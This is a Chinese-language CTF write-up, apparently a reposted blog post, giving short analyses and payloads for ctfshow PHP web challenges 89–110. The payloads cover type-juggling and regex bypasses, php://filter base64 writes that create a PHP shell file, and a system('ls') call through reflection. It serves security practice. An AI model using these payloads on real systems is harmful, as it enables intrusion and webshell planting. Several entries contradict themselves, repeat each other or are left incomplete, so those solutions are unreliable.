本文共 1797 字,大约阅读时间需要 5 分钟。
web 89分析
题目要求绕过检查,确保输入为数字且等于4476。当前代码使用preg_match检查是否为数字,且严格比较等于4476。可以通过数组绕过,例如将num设为数组形式,如num[]=0
,这样可以绕过检查。
解决方案
?num[]=0
web 90分析
检查num是否为4476,但使用了intval函数,base为0,遇到字母会停止。可以构造4476后面加字母,如4476a,intval会截断得到4476。
解决方案
?num=4476a
web 91分析
正则表达式检查输入是否为php字符串。第一个正则允许多行匹配,可以构造多行的php字符串,如php\nphp
,这样可以绕过第二个正则检查。
解决方案
?cmd=a%0aphp
web 92分析
检查num是否为4476且包含0。可以使用科学计数法,如4476e123,intval会截断得到4476。
解决方案
?num=4476e123
web 93分析
检查num是否为4476且不含字母,且包含0。可以使用八进制,如010574,或者小数点如4476.0,绕过检查。
解决方案
?num=010574
web 94分析
检查num是否为4476且不含字母,且不含0。可以使用八进制前面加+,如+010574,或小数点如4476.0。
解决方案
?num=+010574
web 95分析
检查num是否为4476且不含字母,且不含0。可以使用小数点如4476.0,或者八进制如+010574。
解决方案
?num=4476.0
web 96分析
检查提交的文件是否为flag.php,可以通过当前目录使用./flag.php绕过。
解决方案
?u=./flag.php
web 97分析
检查POST参数a和b的MD5是否相同。可以构造a[]=1&b[]=2,利用数组绕过。
解决方案
?a[]=1&b[]=2
web 98分析
检查提交方式,需要构造正确的引用传递。
解决方案
FLAG值=flag,可以通过GET和POST同时提交HTTP_FLAG。
web 99分析
利用in_array漏洞,构造特定数组值,写入木马文件。
解决方案
:num=1.php
web 100分析
利用反射类获取类信息,构造v2为var_dump($ctfshow)
,获取flag。
解决方案
?v1=1&v2=var_dump($ctfshow)
web 101分析
利用十六进制转换和协议写入。
解决方案
v2=115044383959474e686443417159447367v3=php://filter/write=convert.base64-decode/resource=1.php
web 102分析
利用hex2bin和base64解码,绕过is_numeric。
解决方案
v1=hex2binv2=115044383959474e686443417159447367v3=php://filter/write=convert.base64-decode/resource=1.php
web 103分析
利用substr和函数调用,构造特定字符串。
解决方案
s=2;str=hex2bin
web 104分析
利用sha1碰撞,构造相同的哈希值。
解决方案
?v2[]=1 POST v1[]=1
web 105分析
利用变量覆盖,构造特定变量值。
解决方案
/suces=flag POST error=suces
web 106分析
利用sha1碰撞,构造相同的哈希值。
解决方案
?v2[]=1 POST v1[]=2
web 107分析
利用parse_str函数,构造特定参数。
解决方案
v1=flag md5=...
web 108分析
利用正则漏洞,构造特定字符。
解决方案
?c=a%00778
web 109分析
利用异常处理和反射类,构造特定函数调用。
解决方案
v1=Exception v2=system('ls')
web 110分析
利用正则漏洞,构造特定字符。
解决方案
?c=a%00778
总结
通过分析每一题的代码逻辑,识别出可利用的漏洞或绕过点,灵活运用技术手段构造有效的payload,成功获取flag。需要不断练习和复习,熟悉各类漏洞,提升解决问题的能力。
转载地址:http://tdxwz.baihongyu.com/